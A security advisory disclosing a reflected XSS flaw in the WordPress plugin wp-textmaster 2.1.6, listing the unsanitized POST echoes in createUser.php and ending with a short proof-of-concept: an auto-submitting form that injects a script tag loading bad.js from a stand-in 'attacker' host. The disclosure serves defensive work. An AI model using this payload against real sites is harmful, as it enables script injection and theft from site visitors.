Advisory #: 1094
Title: Reflected XSS in wordpress plugin wp-textmaster v2.1.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-textmaster
Downloads: 1946
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-textmaster
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-textmaster/createUser.php: 82: echo $_POST['contact_information_attributes']['first_name']; 92: echo $_POST['contact_information_attributes']['last_name']; 102: echo $_POST['contact_information_attributes']['company']; 113: echo $_POST['contact_information_attributes']['address']; 123: echo $_POST['contact_information_attributes']['zip_code']; 133: echo $_POST['contact_information_attributes']['city']; 169: echo $_POST['contact_information_attributes']['phone_number']; 179: echo $_POST['email']; 189: echo $_POST['password']; 199: echo $_POST['confirmation_password']; The variable contact_information_attributes appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-textmaster/createUser.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/wp-textmaster/createUser.php method=post> <input type=hidden name=contact_information_attributes value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>